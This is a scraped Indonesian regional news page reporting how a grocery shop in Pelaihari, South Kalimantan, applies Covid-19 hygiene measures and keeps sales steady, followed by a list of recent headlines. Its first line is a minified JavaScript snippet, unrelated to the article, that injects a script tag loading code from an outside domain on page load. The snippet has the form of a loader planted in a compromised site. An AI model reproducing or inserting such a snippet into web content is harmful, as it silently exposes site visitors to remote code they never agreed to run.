(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Bisnis

Terapkan Kelaziman Baru, Strategi Toko Kelontongan Bertahan di Tengah Pandemi Covid-19


KANALKALIMANTAN.COM, PELAIHARI – Pandemi Covid-19 telah merubah dan menuntut para pelaku usaha beradaptasi dengan kondisi kelaziman baru alias new normal. Besarnya tuntutan masyarakat terhadap aspek kesehatan menjadikan pelaku usaha, baik dari yang berskala besar hingga toko kelontong di perdesaan pun mesti ikut berbenah.

Selain menjalankan protokol kesehatan Covid-19, para pelaku usaha sudah mulai berbenah untuk memberikan rasa aman dan nyaman kepada pengunjung.

Seperti yang dilakukan Toko Niah yang terletak ruas jalan Ahmad Yani, Pelaihari, Kabupaten Tanahlaut, Kalsel. Toko Djarum Retail Partnership (DRP) ini berusaha memberikan keamanan dan kenyamanan baru kepada pelanggan.

“Kami menyiapkan tempat cuci tangan dan sabun di depan pintu masuk toko. Kami juga tutup toko ini dengan kaca dan melengkapinya dengan AC,” ungkap Awan Nur Rafid, pengelola Toko Niah, Sabtu (27/6/2020).

Toko Niah yang memiliki 3 karyawan ini menerapkan sistem ala swalayan dalam melayani pembeli. Karena itu faktor kebersihan sangat diperhatikan. Bahkan untuk mengurangi interaksi, toko ini memberikan layanan dengan mengambilkan barang yang dipesan pembeli.

Cuci tangan, salah satu kelaziman baru yang diupayakan mencegah penyebaran Covid-19. foto: rico

“Di saat penyebaran Covid-19 masih cukup tinggi ini, langkah-langkah preventif harus kami lakukan. Ini semua untuk menjaga agar pembeli aman dan kami juga tetap bisa jualan,” ungkapnya.

Toko ini buka setiap hari dari pukul 06.30 hingga 00.00 Wita. Meski pandemi Covid-19 sudah berlangsung lebih dari tiga bulan, omset penjualan toko DRP ini cenderung stabil dengan omset harian mencapai kisaran Rp 5-6 juta.

Kemampuan toko menjaga omset tak lepas dari kemampuannya berkomunikasi dengan berbagai jenis pembeli. Termasuk dengan komunitas motor yang biasa mampir ke toko ini.

Seperti misalnya pekan lalu, Ahmad Sholikhin, Rider RVC Banjarbaru yang tergabung dalam Bold Riders Banjarmasin berhenti di toko ini untuk membeli rokok dan bensin sekaligus beristirahat sebelum melanjutkan solo touring dari Banjarbaru menuju Asam-asam, Jorong, Tanah Laut.

“Toko-toko seperti ini merupakan salah satu penggerak ekonomi masyarakat. Makanya kami juga berniat untuk ikut berperan menggairahkan kembali penjualan di toko ini saat pandemi Covid-19 masih terjadi,” terang Likin -sapaan Ahmad Sholikhin. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

52 menit ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

1 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

4 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

4 jam ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

6 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

9 jam ago

This website uses cookies.